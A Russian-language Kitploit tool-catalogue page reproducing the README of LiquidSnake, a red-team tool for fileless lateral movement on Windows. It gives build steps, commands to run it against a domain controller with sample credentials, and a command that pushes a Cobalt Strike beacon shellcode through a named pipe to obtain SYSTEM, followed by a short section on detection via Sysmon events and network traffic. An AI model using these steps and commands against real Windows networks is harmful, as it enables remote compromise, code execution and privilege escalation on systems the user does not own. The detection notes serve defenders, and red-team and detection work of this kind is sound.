Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
LiquidSnake — Инструмент бесфайлового бокового перемещения, использующий подписки на события WMI для выполнения сборок .NET в памяти, с внедрением шеллкода через именованные каналы для удаленной компрометации Windows. | Kitploit
Инструменты/GitHubGitHub/riccardoancarani/liquidsnake
Генерация полезной нагрузкиЛатеральное перемещениеШелл-кодRed Teaming
GitHubriccardoancarani/liquidsnake

LiquidSnake

Инструмент бесфайлового бокового перемещения, использующий подписки на события WMI для выполнения сборок .NET в памяти, с внедрением шеллкода через именованные каналы для удаленной компрометации Windows.

Репозиторий
347494 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Liquid Snake

Liquid Snake — это программа, предназначенная для выполнения бокового перемещения в системах Windows без обращения к диску. Инструмент использует подписку на события WMI для выполнения сборки .NET в памяти; сборка .NET будет прослушивать шелл-код в именованном канале, а затем выполнять его с помощью вариации внедрения шелл-кода с перехватом потока.

Диаграмма ниже (надеюсь) проясняет поток данных:

Благодарности

  • MDSec — Подписка на события WMI — этот инструмент является лишь реализацией концепции, описанной в этом сообщении в блоге; код также использует PoC на C# от Dominic для сохранения WMI.
  • pwndizzle — thread-hijack.cs — для вдохновения при реализации перехвата потока на C#
  • med0x2e — GadgetToJScript — за чудовищную работу по созданию GadgetToJScript

Введение

Проект состоит из двух отдельных решений:

  • CSharpNamedPipeLoader — компонент, который будет преобразован в VBS с помощью GadgetToJScript
  • LiquidSnake — компонент, отвечающий за создание подписки на события WMI на удаленной системе

Сборка

Просто откройте оба решения в Visual Studio и соберите их. Убедитесь, что для CSharpNamedPipeLoader указана архитектура x64. Если всё прошло успешно, у вас должно быть два отдельных EXE-файла: CSharpNamedPipeLoader.exe и LiquidSnake.exe

С помощью GadgetToJScript преобразуйте CSharpNamedPipeLoader.exe в VBS, используя следующую команду:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

Протестируйте десериализацию .NET с помощью cscript.exe и убедитесь, что всё работает как ожидается:

root@kitploit:~
cscript.exe test.vbs

Затем закодируйте VBS-файл в base64 и вставьте его в переменную vbscript64 в файле Program.cs проекта LiquidSnake в строке 29.

Я уже сделал это за вас, так что вы можете просто скомпилировать решение LiquidSnake и использовать его как есть.

Использование

Использование этого проекта просто: используйте LiquidSnake.exe против хоста, к которому у вас есть административный доступ, следующим образом:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

ПРИМЕЧАНИЕ: В настоящее время есть ошибка при явном указании учетных данных пользователя — в этом случае инструмент не будет работать. Рекомендуется использовать make_token или любой другой механизм олицетворения.

Если всё прошло успешно, вы должны получить вывод, подобный следующему:

root@kitploit:~
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

В приведенном выше примере используется execute-assembly от CobaltStrike для запуска LiquidSnake:

Тем временем на удаленном хосте будет создан новый именованный канал со следующим именем:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Затем, используя мой проект send_shellcode_via_pipe из моих BOFs, вы можете отправить произвольный шелл-код в удаленный канал, который будет загружен и выполнен:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

Если всё сработало как ожидалось, вы должны получить beacon от SYSTEM:

ПРИМЕЧАНИЕ: Текущая версия LiquidSnake содержит артефакт, созданный GadgetToJScript для версии .NET 4.x. Если на целевом хосте установлена только версия 3.5, это не сработает. Просто повторите тот же процесс, но используйте соответствующую версию .NET при сборке GadgetToJScript.

Обнаружение

Существует множество возможностей для обнаружения злоупотребления этим инструментом и в целом использования этой техники:

  • Создание и удаление фильтра событий WMI за короткий промежуток времени, см. идентификаторы событий Sysmon 19, 20, 21, 22
  • События загрузки модуля clr.dll, связанные с процессом scrcons.exe
  • Создание именованного канала, связанного с процессом scrcons.exe

Кроме того, самый большой недостаток данной реализации заключается в том, что шелл-код отправляется в открытом виде по SMB. Это означает, что если решение для мониторинга сети сможет проверять этот трафик, он, скорее всего, будет заметен. Я не проводил много тестов с наборами правил zeek/bro, но уверен, что он будет обнаружен немедленно.

В папке detection-artefacts я оставил PCAP-файл захвата Wireshark и события Sysmon, сгенерированные во время атаки (с использованием конфигурации по умолчанию от Swift On Security).

Скачать инструмент